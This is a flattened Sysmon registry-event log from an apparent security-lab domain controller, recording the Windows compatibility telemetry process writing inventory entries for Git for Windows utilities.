14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\umount.exe|7b6c7cea428daaaa\LowerCaseLongPathc:\program files\git\usr\bin\umount.exe 13241300x800000000000000037658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.449{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\u2d.exe|757aee4677b2e42f\BinProductVersion(Empty) 13241300x800000000000000037657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\u2d.exe|757aee4677b2e42f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\u2d.exe|757aee4677b2e42f\Publisher(Empty) 13241300x800000000000000037655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\u2d.exe|757aee4677b2e42f\LowerCaseLongPathc:\program files\git\usr\bin\u2d.exe 13241300x800000000000000037654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tzset.exe|6044895f1b845eb4\BinProductVersion(Empty) 13241300x800000000000000037653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tzset.exe|6044895f1b845eb4\LinkDate03/26/2021 22:24:41 13241300x800000000000000037652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tzset.exe|6044895f1b845eb4\Publisher(Empty) 13241300x800000000000000037651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tzset.exe|6044895f1b845eb4\LowerCaseLongPathc:\program files\git\usr\bin\tzset.exe 13241300x800000000000000037650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tty.exe|f000538bcc1d4307\BinProductVersion(Empty) 13241300x800000000000000037649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tty.exe|f000538bcc1d4307\LinkDate01/01/1970 00:00:00 13241300x800000000000000037648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tty.exe|f000538bcc1d4307\Publisher(Empty) 13241300x800000000000000037647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tty.exe|f000538bcc1d4307\LowerCaseLongPathc:\program files\git\usr\bin\tty.exe 13241300x800000000000000037646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tsort.exe|cfc2b8bfaeea292f\BinProductVersion(Empty) 13241300x800000000000000037645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tsort.exe|cfc2b8bfaeea292f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tsort.exe|cfc2b8bfaeea292f\Publisher(Empty) 13241300x800000000000000037643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tsort.exe|cfc2b8bfaeea292f\LowerCaseLongPathc:\program files\git\usr\bin\tsort.exe 13241300x800000000000000037642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tset.exe|9472efe3f6c3d05\BinProductVersion(Empty) 13241300x800000000000000037641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tset.exe|9472efe3f6c3d05\LinkDate01/01/1970 00:00:00 13241300x800000000000000037640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tset.exe|9472efe3f6c3d05\Publisher(Empty) 13241300x800000000000000037639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tset.exe|9472efe3f6c3d05\LowerCaseLongPathc:\program files\git\usr\bin\tset.exe 13241300x800000000000000037638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\trust.exe|8799eae1c6ff22d6\BinProductVersion(Empty) 13241300x800000000000000037637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\trust.exe|8799eae1c6ff22d6\LinkDate01/01/1970 00:00:00 13241300x800000000000000037636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\trust.exe|8799eae1c6ff22d6\Publisher(Empty) 13241300x800000000000000037635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\trust.exe|8799eae1c6ff22d6\LowerCaseLongPathc:\program files\git\usr\bin\trust.exe 13241300x800000000000000037634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\truncate.exe|c8ba1860e9b89c7c\BinProductVersion(Empty) 13241300x800000000000000037633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\truncate.exe|c8ba1860e9b89c7c\LinkDate01/01/1970 00:00:00 13241300x800000000000000037632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\truncate.exe|c8ba1860e9b89c7c\Publisher(Empty) 13241300x800000000000000037631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\truncate.exe|c8ba1860e9b89c7c\LowerCaseLongPathc:\program files\git\usr\bin\truncate.exe 13241300x800000000000000037630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\true.exe|63cbe5fc93313f79\BinProductVersion(Empty) 13241300x800000000000000037629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\true.exe|63cbe5fc93313f79\LinkDate01/01/1970 00:00:00 13241300x800000000000000037628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\true.exe|63cbe5fc93313f79\Publisher(Empty) 13241300x800000000000000037627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\true.exe|63cbe5fc93313f79\LowerCaseLongPathc:\program files\git\usr\bin\true.exe 13241300x800000000000000037626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tr.exe|8da93faf0d2cfacc\BinProductVersion(Empty) 13241300x800000000000000037625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tr.exe|8da93faf0d2cfacc\LinkDate01/01/1970 00:00:00 13241300x800000000000000037624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tr.exe|8da93faf0d2cfacc\Publisher(Empty) 13241300x800000000000000037623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tr.exe|8da93faf0d2cfacc\LowerCaseLongPathc:\program files\git\usr\bin\tr.exe 13241300x800000000000000037622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tput.exe|b8002a648477f6bb\BinProductVersion(Empty) 13241300x800000000000000037621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tput.exe|b8002a648477f6bb\LinkDate01/01/1970 00:00:00 13241300x800000000000000037620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tput.exe|b8002a648477f6bb\Publisher(Empty) 13241300x800000000000000037619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tput.exe|b8002a648477f6bb\LowerCaseLongPathc:\program files\git\usr\bin\tput.exe 13241300x800000000000000037618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\touch.exe|be858ef96bb42d35\BinProductVersion(Empty) 13241300x800000000000000037617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\touch.exe|be858ef96bb42d35\LinkDate01/01/1970 00:00:00 13241300x800000000000000037616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\touch.exe|be858ef96bb42d35\Publisher(Empty) 13241300x800000000000000037615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\touch.exe|be858ef96bb42d35\LowerCaseLongPathc:\program files\git\usr\bin\touch.exe 13241300x800000000000000037614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\toe.exe|575b8daf3eccb5a3\BinProductVersion(Empty) 13241300x800000000000000037613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\toe.exe|575b8daf3eccb5a3\LinkDate01/01/1970 00:00:00 13241300x800000000000000037612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\toe.exe|575b8daf3eccb5a3\Publisher(Empty) 13241300x800000000000000037611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\toe.exe|575b8daf3eccb5a3\LowerCaseLongPathc:\program files\git\usr\bin\toe.exe 13241300x800000000000000037610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\timeout.exe|f5ffdc28654e342e\BinProductVersion(Empty) 13241300x800000000000000037609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\timeout.exe|f5ffdc28654e342e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\timeout.exe|f5ffdc28654e342e\Publisher(Empty) 13241300x800000000000000037607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\timeout.exe|f5ffdc28654e342e\LowerCaseLongPathc:\program files\git\usr\bin\timeout.exe 13241300x800000000000000037606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tig.exe|20d76728e205d2a5\BinProductVersion(Empty) 13241300x800000000000000037605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tig.exe|20d76728e205d2a5\LinkDate01/01/1970 00:00:00 13241300x800000000000000037604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tig.exe|20d76728e205d2a5\Publisher(Empty) 13241300x800000000000000037603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tig.exe|20d76728e205d2a5\LowerCaseLongPathc:\program files\git\usr\bin\tig.exe 13241300x800000000000000037602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tic.exe|c473b2ddd094de9a\BinProductVersion(Empty) 13241300x800000000000000037601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tic.exe|c473b2ddd094de9a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tic.exe|c473b2ddd094de9a\Publisher(Empty) 13241300x800000000000000037599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tic.exe|c473b2ddd094de9a\LowerCaseLongPathc:\program files\git\usr\bin\tic.exe 13241300x800000000000000037598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\test.exe|74f4cc67b5c7e4f\BinProductVersion(Empty) 13241300x800000000000000037597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\test.exe|74f4cc67b5c7e4f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\test.exe|74f4cc67b5c7e4f\Publisher(Empty) 13241300x800000000000000037595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\test.exe|74f4cc67b5c7e4f\LowerCaseLongPathc:\program files\git\usr\bin\test.exe 13241300x800000000000000037594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tee.exe|991299bf040bfe2d\BinProductVersion(Empty) 13241300x800000000000000037593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tee.exe|991299bf040bfe2d\LinkDate01/01/1970 00:00:00 13241300x800000000000000037592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tee.exe|991299bf040bfe2d\Publisher(Empty) 13241300x800000000000000037591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tee.exe|991299bf040bfe2d\LowerCaseLongPathc:\program files\git\usr\bin\tee.exe 13241300x800000000000000037590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tclsh86.exe|4994964426e57062\BinProductVersion8.6.2.11 13241300x800000000000000037589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tclsh86.exe|4994964426e57062\LinkDate01/01/1970 00:00:00 13241300x800000000000000037588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tclsh86.exe|4994964426e57062\Publisheractivestate corporation 13241300x800000000000000037587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tclsh86.exe|4994964426e57062\LowerCaseLongPathc:\program files\git\mingw64\bin\tclsh86.exe 13241300x800000000000000037586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.433{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\tclsh.exe|c680bc50ff765224\BinProductVersion8.6.2.11 13241300x800000000000000037585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 